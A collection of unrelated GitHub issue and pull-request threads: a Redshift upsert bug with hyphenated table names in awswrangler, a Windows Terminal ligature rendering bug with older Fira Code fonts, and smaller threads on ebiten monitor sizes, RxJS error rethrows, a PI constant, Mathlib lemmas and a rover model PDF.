Using Hyphens in Redshift Table name results in error on upserting data

Describe the bug
Using hyphens in the name of a Redshift table is possible. When using redshift.copy() with mode="upsert" the initial write of the table will work. However, a second executing of the method will fail.
Error message:

---------------------------------------------------------------------------
KeyError                                  Traceback (most recent call last)
File ~/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py:1631, in Connection.execute(self, cursor, operation, vals)
   [1630](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1629) try:
-> [1631](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1630)     ps = cache["ps"][key]
   [1632](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1631)     cursor.ps = ps

KeyError: ('DELETE FROM "my_schema"."test-table" USING temp_redshift_b8d8c3305602447bbc6cee8d60bbff8d WHERE test-table.id = temp_redshift_b8d8c3305602447bbc6cee8d60bbff8d.id', ())

During handling of the above exception, another exception occurred:

ProgrammingError                          Traceback (most recent call last)
/home/mc/dev/sandbox/main.py in line 22
     [19](file:///home/mc/dev/sandbox/main.py?line=18) print(df)
     [20](file:///home/mc/dev/sandbox/main.py?line=19) con = wr.redshift.connect("my-con", boto3_session=session)
---> [22](file:///home/mc/dev/sandbox/main.py?line=21) wr.redshift.copy(
     [23](file:///home/mc/dev/sandbox/main.py?line=22)     df=df,
     [24](file:///home/mc/dev/sandbox/main.py?line=23)     path=S3_PATH,
     [25](file:///home/mc/dev/sandbox/main.py?line=24)     con=con,
     [26](file:///home/mc/dev/sandbox/main.py?line=25)     schema="my_schema",
     [27](file:///home/mc/dev/sandbox/main.py?line=26)     table="test-table",
     [28](file:///home/mc/dev/sandbox/main.py?line=27)     mode="upsert",
     [29](file:///home/mc/dev/sandbox/main.py?line=28)     primary_keys=["id"],
     [30](file:///home/mc/dev/sandbox/main.py?line=29)     boto3_session=session,
     [31](file:///home/mc/dev/sandbox/main.py?line=30) )
     [32](file:///home/mc/dev/sandbox/main.py?line=31) print("finished writing\n")
     [34](file:///home/mc/dev/sandbox/main.py?line=33) result = wr.redshift.read_sql_table(
     [35](file:///home/mc/dev/sandbox/main.py?line=34)     table="test-table", schema="my_schema", con=con
     [36](file:///home/mc/dev/sandbox/main.py?line=35) )

File ~/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py:1638, in copy(df, path, con, table, schema, iam_role, aws_access_key_id, aws_secret_access_key, aws_session_token, index, dtype, mode, overwrite_method, diststyle, distkey, sortstyle, sortkey, primary_keys, varchar_lengths_default, varchar_lengths, serialize_to_json, keep_files, use_threads, lock, sql_copy_extra_params, boto3_session, s3_additional_kwargs, max_rows_by_file, precombine_key, use_column_names)
   [1625](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1624) try:
   [1626](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1625)     s3.to_parquet(
   [1627](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1626)         df=df,
   [1628](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1627)         path=path,
   (...)
   [1636](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1635)         max_rows_by_file=max_rows_by_file,
   [1637](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1636)     )
-> [1638](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1637)     copy_from_files(
   [1639](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1638)         path=path,
   [1640](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1639)         con=con,
   [1641](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1640)         table=table,
   [1642](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1641)         schema=schema,
   [1643](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1642)         iam_role=iam_role,
   [1644](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1643)         aws_access_key_id=aws_access_key_id,
   [1645](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1644)         aws_secret_access_key=aws_secret_access_key,
   [1646](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1645)         aws_session_token=aws_session_token,
   [1647](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1646)         mode=mode,
   [1648](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1647)         overwrite_method=overwrite_method,
   [1649](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1648)         diststyle=diststyle,
   [1650](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1649)         distkey=distkey,
   [1651](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1650)         sortstyle=sortstyle,
   [1652](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1651)         sortkey=sortkey,
   [1653](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1652)         primary_keys=primary_keys,
   [1654](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1653)         varchar_lengths_default=varchar_lengths_default,
   [1655](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1654)         varchar_lengths=varchar_lengths,
   [1656](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1655)         serialize_to_json=serialize_to_json,
   [1657](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1656)         use_threads=use_threads,
   [1658](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1657)         lock=lock,
   [1659](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1658)         boto3_session=session,
   [1660](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1659)         s3_additional_kwargs=s3_additional_kwargs,
   [1661](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1660)         sql_copy_extra_params=sql_copy_extra_params,
   [1662](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1661)         precombine_key=precombine_key,
   [1663](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1662)         column_names=column_names,
   [1664](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1663)     )
   [1665](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1664) finally:
   [1666](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1665)     if keep_files is False:

File ~/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py:1438, in copy_from_files(path, con, table, schema, iam_role, aws_access_key_id, aws_secret_access_key, aws_session_token, parquet_infer_sampling, mode, overwrite_method, diststyle, distkey, sortstyle, sortkey, primary_keys, varchar_lengths_default, varchar_lengths, serialize_to_json, path_suffix, path_ignore_suffix, use_threads, lock, commit_transaction, manifest, sql_copy_extra_params, boto3_session, s3_additional_kwargs, precombine_key, column_names)
   [1422](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1421) _copy(
   [1423](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1422)     cursor=cursor,
   [1424](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1423)     path=path,
   (...)
   [1435](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1434)     column_names=column_names,
   [1436](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1435) )
   [1437](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1436) if table != created_table:  # upsert
-> [1438](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1437)     _upsert(
   [1439](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1438)         cursor=cursor,
   [1440](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1439)         schema=schema,
   [1441](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1440)         table=table,
   [1442](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1441)         temp_table=created_table,
   [1443](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1442)         primary_keys=primary_keys,
   [1444](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1443)         precombine_key=precombine_key,
   [1445](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1444)         column_names=column_names,
   [1446](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1445)     )
   [1447](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1446) if commit_transaction:
   [1448](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=1447)     con.commit()

File ~/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py:205, in _upsert(cursor, table, temp_table, schema, primary_keys, precombine_key, column_names)
    [203](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=202)     sql: str = f'DELETE FROM "{schema}"."{table}" USING {temp_table} WHERE {join_clause}'
    [204](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=203)     _logger.debug(sql)
--> [205](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=204)     cursor.execute(sql)
    [206](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=205) if column_names:
    [207](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/awswrangler/redshift.py?line=206)     column_names_str = ",".join(column_names)

File ~/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/cursor.py:240, in Cursor.execute(self, operation, args, stream, merge_socket_read)
    [238](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/cursor.py?line=237)         self._c.execute(self, "begin transaction", None)
    [239](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/cursor.py?line=238)     self._c.merge_socket_read = merge_socket_read
--> [240](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/cursor.py?line=239)     self._c.execute(self, operation, args)
    [241](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/cursor.py?line=240) except AttributeError as e:
    [242](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/cursor.py?line=241)     raise e

File ~/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py:1701, in Connection.execute(self, cursor, operation, vals)
   [1698](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1697)     else:
   [1699](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1698)         raise e
-> [1701](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1700) self.handle_messages(cursor)
   [1703](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1702) # We've got row_desc that allows us to identify what we're
   [1704](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1703) # going to get back from this statement.
   [1705](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1704) output_fc = tuple(self.redshift_types[f["type_oid"]][0] for f in ps["row_desc"])

File ~/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py:1969, in Connection.handle_messages(self, cursor)
   [1966](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1965)     self.message_types[code](self._read(data_len - 4), cursor)
   [1968](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1967) if self.error is not None:
-> [1969](file:///home/mc/dev/sandbox/venv/lib/python3.9/site-packages/redshift_connector/core.py?line=1968)     raise self.error

ProgrammingError: {'S': 'ERROR', 'C': '42601', 'M': 'syntax error at or near "table"', 'P': '120', 'F': '/home/ec2-user/padb/src/pg/src/backend/parser/parser_scan.l', 'L': '714', 'R': 'yyerror'

How to Reproduce
Here is a minimal reprex. Run it twice:

import awswrangler as wr
import pandas as pd

S3_PATH = "s3://test-bucket/tmp/"

df = pd.DataFrame(
    {
        "id": [1, 2, 3],
        "value": ["foo1", "boo1", "cho1"],
    }
)

con = wr.redshift.connect("my-connection")

wr.redshift.copy(
    df=df,
    path=S3_PATH,
    con=con,
    schema="my_schema",
    table="test-table",
    mode="upsert",
    primary_keys=["id"],
)

result = wr.redshift.read_sql_table(table="test-table", schema="my_schema", con=con)

Expected behavior
It should not fail, as it doesn't when using "test_table" as a table-name.
Your project
No response
Screenshots
No response
OS
Linux
Python version
Python 3.9.13
AWS SDK for pandas version
awswrangler        2.17.0
Additional context
No response

I guess, is it as simple as quoting the table names consistently:
KeyError: ('DELETE FROM "my_schema"."test-table" USING temp_redshift_b8d8c3305602447bbc6cee8d60bbff8d WHERE test-table.id = temp_redshift_b8d8c3305602447bbc6cee8d60bbff8d.id', ())
in the second part of the command the table name is unquoted. I'll try to fix this myself and submit a PR in the next days.

Hey,
Thanks for creating this issue. We already merged a fix for this problem. We will publish this to PyPi in our next release.
Best regards,
Leon


File transform task displays error when used on JSON

Type: Bug
Task Name: File transform
Environment

Agent:
Private self-hosted agent: v 2.165.2
OS: Windows Server 2016 (version 1607)

Issue Description
Task displays error when transforming JSON file, but finishes sucessfully.

Task logs
snippet from logs:
##[debug]applying include pattern
##[debug]adjustedPattern: 'C:\BuildAgents\hefaistos_work\16\s**.config'
##[debug]0 matches
##[debug]0 final results
##[error]Unable to apply transformation for the given package - Changes are already present in the package.
##[debug]Processed: ##vso[task.issue type=error;]Unable to apply transformation for the given package - Changes are already present in the package.
##[debug]system.accessToken=**
Task definition:

Solution doesn't contain XML .config files - configuration is stored in JSON files.
The error is misleading because the transformation was successful.

@miroelk File transformation and variable substitution are two separate features of the task. Here the task says it has failed transformation. Please clear out the transformation rules in the task to get rid of this error.


ebiten: add a function to get a position and/or a size of a monitor

Operating System

[X] Windows
[X] macOS
[X] Linux
[X] FreeBSD
[X] OpenBSD
[ ] Android
[ ] iOS
[ ] Nintendo Switch
[ ] Xbox
[ ] Web Browsers

What feature would you like to be added?
As the title says, we want a function to get a position and/or a size of monitors in a virtual coordinate
Bounds() was not added in v2.6 since there are more complex underlying issues around units. See https://github.com/hajimehoshi/ebiten/issues/2780
Why is this needed?
This would be useful to make a better UI to choose monitors for users.

@divVerent might have insights about the monitor sizes (see https://github.com/glfw/glfw/issues/1961). IIUC the sizes in GLFW's Vidmode is sometimes not correct and then we have to adjust the scale. Is that correct?
/CC @kettek

Well, the problem is - they're not really incorrect, but at the wrong
layer. GLFW returns hardware pixels, but the resolutions one actually has
to specify or use are in "desktop environment pixels" (which can again be
different from virtual, "LoDPI", pixels).
On Sat, Sep 23, 2023 at 6:29 AM Hajime Hoshi @.***>
wrote:

@divVerent https://github.com/divVerent might have insights about the
monitor sizes (see glfw/glfw#1961
https://github.com/glfw/glfw/issues/1961). IIUC the sizes in GLFW's
Vidmode is sometimes not correct and then we have to adjust the scale. Is
that correct?
/CC @kettek https://github.com/kettek
—
Reply to this email directly, view it on GitHub
https://github.com/hajimehoshi/ebiten/issues/2781#issuecomment-1732318931,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAB5NMAC6D7BMTVWOWFB3F3X33P2FANCNFSM6AAAAAA5EGPFCA
.
You are receiving this because you were mentioned.Message ID:
@.***>

From my brief investigation, this values seem the most consistent, and two adjacent monitors have two adjacent bounds. The units are GLFW pixels (i.e. pixels GLFW directly treats).
X: VideoMode's X
Y: VideoMode's Y
Width: width in XRandR's info
Height: height in XRandR's info

Well, the problem is - they're not really incorrect, but at the wrong layer.

Oh I see... Thanks!

The native size information is less useful as the unit is not compatible with other Ebitengine APIs. So, this information is only for debugging or auxiliary information to show to users. Then, I'm thinking we should return this as a string, instead of integer values... 🤔
(Note that (*Monitor).Size (#2795) returns a size in device-independent pixels, which is compatible with the other Ebitengine APIs)

Sounds good to me. Note though that a game may have a good reason to find
out whether its scaling factor is 1:1 or not - but that is still possible
with a string.
On Sat, Mar 23, 2024 at 9:58 AM Hajime Hoshi @.***>
wrote:

The native size information is less useful as the unit is not compatible
with other Ebitengine APIs. So, this information is only for debugging or
auxiliary information to show to users. Then, I'm thinking we should return
this as a string, instead of integer values... 🤔
(Note that (*Monitor).Size (#2795
https://github.com/hajimehoshi/ebiten/issues/2795) returns a size in
device-independent pixels, which is compatible with the other Ebitengine
APIs)
—
Reply to this email directly, view it on GitHub
https://github.com/hajimehoshi/ebiten/issues/2781#issuecomment-2016502704,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAB5NMEK2PLU4FDGC6EAS5LYZWC7VAVCNFSM6AAAAAA5EGPFCCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAMJWGUYDENZQGQ
.
You are receiving this because you were mentioned.Message ID:
@.***>

Note though that a game may have a good reason to find out whether its scaling factor is 1:1 or not

For this purpose, (*ebiten.Monitor).DeviceScaleFactor() works, right?

Hmm, I decided not to implement this so far, since it was not clear to me how useful this API would be useful. If you want to get the size (in Ebitengine units), you can use the new API (*Monitor).Size (#2795). Let me close this. I'm fine to revisit this when we need.


5.0.0-beta.18 KDE Neon memory leak

For the second day in a row Franz uses almost 10 GB ram when left running for a night.
Proof: https://i.imgur.com/vo8ROWa.png
Anyone else got this?
Services I'm using - Skype, Discord, Telegram, Whatsapp, Trello.

Exactly the same, it uses about 30% CPU and ~8Gb of Ram. I thought it was hacked for cryptocurrency. Had to remove the software, couldn't find any solution. Just started having this problem about a week ago. Please fix it! Thanks!
Services using: FB Messenger, Whatsapp


FIX: correct PI

looking at various sources, the 17th position should be 2, not 1, the following digits would be 3846.
https://decimal.info/digits-of-pi/value-of-pi-to-20-decimal-places.html http://www.math.com/tables/constants/pi.htm
https://www.piday.org/million/

Huh, maybe some kind of a rounding error, I guess it comes from the DotNet class itself: https://learn.microsoft.com/en-us/dotnet/api/system.math.pi?view=net-7.0 Some discussion can be found on threads like Stackoverflow where different precisions seem to have been used in the source code through different versions. Then I wonder, why doesn't the procedure do exit(DotnetMath.PI); (and do the same for E())? which also seem to have the wrong last character)

That's a very good point! @sigttou what's your opinion?

Let's get this one in :-) Will process right away.

Turns out, the code does not compile. Investigating. But as the result of DotnetMath.PI is 3.1415926535897931, I don't feel like spending too much time on this.

@sigttou, out of curiosity (before I start spending a lot of time on investigation): has the rounding of PI caused you any problem, or is it just the perfectionist in you wanting to fix this? ;-)

@darjoo couldn't help himself and did some investigation 😋 Turns out, it's a compiler issue. I'm not sure where this lands on the compiler team priority-wise, but eventually this will get fixed. Until then, this PR is blocked (which again I believe/hope should be fine, as the end-result will be identical).

Unfortunately, the compiler team replied that this is "By Design" for now. As it isn't trivial to add support for fields, this is not something which is going to happen as part of this request. I'm afraid we will have to live with this constant for now. But I think it'll be alright. Closing this PR, as there isn't any action to take at this point in time.


[v0.10] When two characters are ligatured, the first one becomes invisible

Environment
Platform ServicePack Version      VersionString
-------- ----------- -------      -------------
 Win32NT             10.0.19582.0 Microsoft Windows NT 10.0.19582.0

Steps to reproduce

Change font to the one with ligatures, for example Fira Code.
Type --.

Expected behavior
The first - shouldn't disappear.
Actual behavior
The first - is disappeared.

What font size are you using? What version of Terminal?

What font size are you using?

Default size i.e. 12.

What version of Terminal?

Windows Terminal (Preview)
Version: 0.10.761.0
Downloaded from Microsoft Store.

I am also having this issue, using 10pt Fira Code, no matter the zoom level, I just built from commit c0d704e734c54381af59dc0413b7aa19326a84ed
Here you can see the //, :: and www ligatures drawing incorrectly:

We thought we'd fixed this with #4806, but perhaps we didn't.

Same here:

            "fontFace" : "Fira Code Retina",
            "fontSize" : 12,
Windows Terminal (Preview)
Version: 0.10.761.0
Microsoft Windows [Version 10.0.18363.720]

Same here:

Versions

Windows Terminal (Preview)
Version: 0.10.761.0

Microsoft Windows [Version 10.0.18363.719]

Config
      "fontFace": "Fira Code",
      "fontSize": 9,
      "scrollbarState": "hidden",
      "padding": "5",

do you have an ETA for this issue @DHowett-MSFT ?
Thanks 👍

Unfortunately, I do not. Sorry.

I can add to this issue that switching to Cascadia Code fixes this issue (I was using Fira Code).

I'm using WT Version 0.10.781.0 and I can not seem to reproduce it. I'm also a Fira Code lover myself.

I'm on WT 0.10.781.0 and do reproduce this bug with Fira Code.

I'd bet this might have to do with not only the font face, but also the font size and display resolution. @FallenGameR (or anyone else reproing this), could you also make sure to share your fontSize and display resolution? Thanks!

@zadjii-msft  here are the settings that causes this issue:
"fontFace" : "Fira Code",
"fontSize" : 10,

Resolution: 1920 x 1080

Reproduced with Microsoft Terminal 0.10.781.0, Fira Code 1.206, display resolution 1920x1200, every font size from 6 to 14.
Updating to Fira Code 2.000 fixed the issue and all ligatures show up correctly at all settings I'm able to test.

Ah. That's probably it. I'm at 2560 x 1600. I can't find a way to reproduce it.

Reproduced with Windows Terminal 0.10.781.0, Fira Code 1.206, display resolution 1920x1200, every font size from 6 to 14.
Updating to Fira Code 2.000 fixed the issue and all ligatures show up correctly at all settings I'm able to test.

The update to Fira Code 2.000 fixed the issue as well on my side

Same. Updating to Fira Code v.2 fixed the issues on my side.

Updating to v2 fixed the issue for me as well. Just FYI: make sure that when you are updating (or checking your font version numbers), you are looking at all of the font faces in the settings page. I am embarrassed to say that, somehow, I had installed v2.0 of Light and Bold, while keeping version 1.2 around for Regular, Medium, and Retina. No idea how that happened. Just to be safe, I uninstalled the Chocolatey package that I had been using to automatically update the font face.

Updating to Fira Code 2 fixed the issue for me as well. I did have to manually remove all Fira Code fonts, then install the new ones. Overwriting didn't fix it.

        {
            "acrylicOpacity" : 0.85,
            "closeOnExit" : true,
            "colorScheme" : "Campbell",
            "commandline" : "cmd.exe",
            "cursorColor" : "#FFFFFF",
            "cursorShape" : "filledBox",
            "fontFace" : "Fira Code Retina",
            "fontSize" : 12,
            "guid" : "{0caa0dad-35be-5f56-a8ff-afceeeaa6101}",
            "historySize" : 9001,
            "icon" : "ms-appx:///ProfileIcons/{0caa0dad-35be-5f56-a8ff-afceeeaa6101}.png",
            "name" : "Command Prompt",
            "padding" : "0, 0, 0, 0",
            "snapOnInput" : true,
            "startingDirectory" : "%USERPROFILE%",
            "useAcrylic" : true
        },

Yep. Updating Fira Code to v2 fixed it. On one machine fonts were able to update the old version of themselves. On another machine v2 said that it was successfully installed, but v1.2 still remained and was picked up by default. Had to reboot and manually delete v1.2.

I'd bet this might have to do with not only the font face, but also the font size and display resolution. @FallenGameR (or anyone else reproing this), could you also make sure to share your fontSize and display resolution? Thanks!

2560x1600 - machine A
3240x2160 - machine B, 200% font scale
"fontSize": 14 - on both machines

Updating FiraCode to v2 solved the issue. Thanks!

Updating the font fixed this yeah - doesn't seem to be a Terminal bug then?

It's still a Terminal bug, unfortunately. Thanks :smile:

It's still a Terminal bug, unfortunately. Thanks 😄

If It can be of any help...this worked before #4806

Thanks! 4806 describes the same bug as this, so it definitely worked before 4806 ;)

I thought I'd share my experience with this bug: I had an older version of the Firacode fonts hanging out in %APPDATA%\Local\Microsoft\Windows\Fonts that was being preferentially loaded instead of the 2.0 fonts I had installed into C:\Windows\Fonts. I was unable to delete the fonts in %APPDATA%\Local\Microsoft\Windows\Fonts despite using elevated command prompts, trying to close all handles to the fonts using Process Explorer (trying to do so resulted in invalid handle messages), and many other methods. The only thing that worked for me was using IObit Unlocker. After removing those font files, Terminal correctly picked up the newer FiraCode font and seems to be working normally now.
Windows 10 Version 1909 (OS Build 1836.752)
Terminal version:  0.10.781.0

Any ETA on this?

@privacyguy123 Unfortunately not at this time. I tried reproing this Friday, but I couldn't get this to happen on my machine at all with Fira Code 1.2. Hopefully someone else on the team will have a better chance at reproing this.
If we can't get a repro locally, we could try psychic debugging by looking at the changelog of what Fira Code changed on their side between 1.2 and 2.0. Maybe that would point us in the right direction of something we've done wrong.
It's also just possible that some of the rendering changes that are baking for 0.11 (#778/#5185) might just fix this, which might explain why I couldn't get a repro.

@zadjii-msft / @DHowett-MSFT : the bot can't complain about issue titles, but can you please fix invisible? 😉

@jsoref done

:trollface:

Technically, I suppose, I should say "it doesn't". It probably could.

Come on boys - new release and this was overlooked? It worked fine in earlier versions ...

This is a purely graphical bug (the characters are still in the buffer, just not rendered for some reason)
With a trivial workaround (Upgrade the font, or pick any other font)
And the team doesn't have a local repro for this with the FiraCode v1.2 that other users are reporting an error with

So no, this hasn't really bubbled up in our own priority list. Also, at least I was hoping that #5345 would just magically fix this (as there was quite a bit of renderer changes in that PR).

I wish I understood how to fix it. 😛

This bug occurred on my machine with FiraCode 4.0 at all font sizes. The problem was resolved when I unblocked the FiraCode ttf files before installing them.

I'm curious if this just went away in 1.16. The Atlas engine might have just fixed this.


⚠ Bofrost.es has degraded performance

In 59dc5e7, Bofrost.es (https://www.bofrost.es) experienced degraded performance:

HTTP code: 200
Response time: 1743 ms

Resolved: Bofrost.es performance has improved in 723c6bc after 6 minutes.


fix(Observable): Another attempt at fixing error rethrows in v5

This is an attempt at fixing the rethrow issues in #2813. Some of them have been fixed by previous PRs, but other cases still remain. So far every one I've seen has been fixed by this PR.
I'll be totally honest though, why this works isn't 100% clear. I tried to map out what syncErrorThrowable is being used for, when its set correctly, when its not, etc and noticed a pattern that errors were going down the _trySubscribe when there was a this.source but that always expected syncErrorThrowable = true otherwise the condition right after wouldn't do the rethrowing.
Mostly what's not clear is why this only happens with Subject, timer, interval, etc combined with a nested Observable via merge/concat/etc. Seemed like it might be related to the fact that these override _subscribe but others do too and I couldn't find a pattern otherwise.
The minimum reproduction here is, somewhat strangely, the inverse of what most often the problem seems to be. I tried to also find a minimum reproduction for what I think is the issue most often found (swallowing instead of rethrowing) I couldn't. The closest I could find was this:
const input = new Subject();
const result = input
  .mergeMapTo(Observable.of(1).mapTo(1));

result.subscribe(value => {
  throw 'error!';
});

try {
  input.next(1);
} catch (e) {
  console.log('does not get caught, without this PR');
}

I'm hoping that either this is good enough or perhaps this will help someone get a more clear understanding of the problem.

Coverage increased (+0.0004%) to 97.4% when pulling 541b49db0ca4079760f92f670a49a8f06dc83dd2 on jayphelps:errors into 520b06afa81083bd9f526f43b9b2d5e941f89f5b on ReactiveX:stable.


feat(Topology/EMetricSpace/Basic): add boundedness lemmas

Lemmas about limsup and bddAbove needed for #15373.

[ ] depends on: #18365

Sorry to bother you again, but I'm currently working on proving these lemmas ; I should have a more general version of limsup_mul_le with a much shorter proof (and many more similar lemmas). Would you mind waiting for a few days?
Is there anything you need for your project beyond limsup_mul_le? The coe lemmas look interesting.

Sorry to bother you again, but I'm currently working on proving these lemmas ; I should have a more general version of limsup_mul_le with a much shorter proof (and many more similar lemmas). Would you mind waiting for a few days?
Is there anything you need for your project beyond limsup_mul_le? The coe lemmas look interesting.

When do you think you will have it ready?
These are all used in #15373. The coercion lemmas are only used in the proof of Real.limsup_le (so if you have a better proof, I probably will not need them), but the remaining lemmas are used in the file Analysis/Normed/Ring/SmoothingSeminorm in that PR, so I need to keep them.

Please remove the label again on Monday if no news

A more general version of limsup_mul_le is in #18365 (arbitrary filters, and the nonnegativity/boundedness conditions are replaced by appropriate eventual/frequent properties). Your own version should follow quite quickly from it.

Thanks!

maintainer merge

Also, please fix the title: the PR doesn't modify EMetricSpace/*.


Can not access Mechanical/Mechanical Integration/Rover 3D view.pdf

All other 3d .pdf's are fine, but "Rover 3D view" shows only a small colored axis system at bottom left of page.

I tried a few times to generate the 3D pdf of the rover model, every time resulting in SolidWorks crashing. It might end up being too big to successfully  generate the 3D pdf from

I'm going to explore if there are other options to give a 3D model of the rover for someone to view who doesn't have access to any CAD software, but for now I'm going to remove the Rover 3D view pdf as it is blank.

Hi Eric,
Thanks for addressing the Rover 3D issue. I hoped to use it to resolve a potential engineering problem.
As I understand it, the middle wheel's motor mounting channel attaches to a 1.5" channel using two channel connectors. That's OK, but then the 1.5" channel attaches to the bogie using only one channel connector. This looks like an eventual metal fatigue problem.
I was unable to find a ServoCity part that looked like it would work.
I machined a .25 thick aluminum part that is nearly identical to the channel connector part in the flat view but has two tapped holes on the ends to allow connection between the 1.5" channel and the 3.75" bogie part.
I'm very willing to share this part design if anyone is interested.
Thanks, Wayne
-----Original Message-----
From: ericjunkins<EMAIL_ADDRESS>To: nasa-jpl/open-source-rover<EMAIL_ADDRESS>Cc: CWRatliff<EMAIL_ADDRESS>Author<EMAIL_ADDRESS>Sent: Thu, Sep 20, 2018 9:14 am
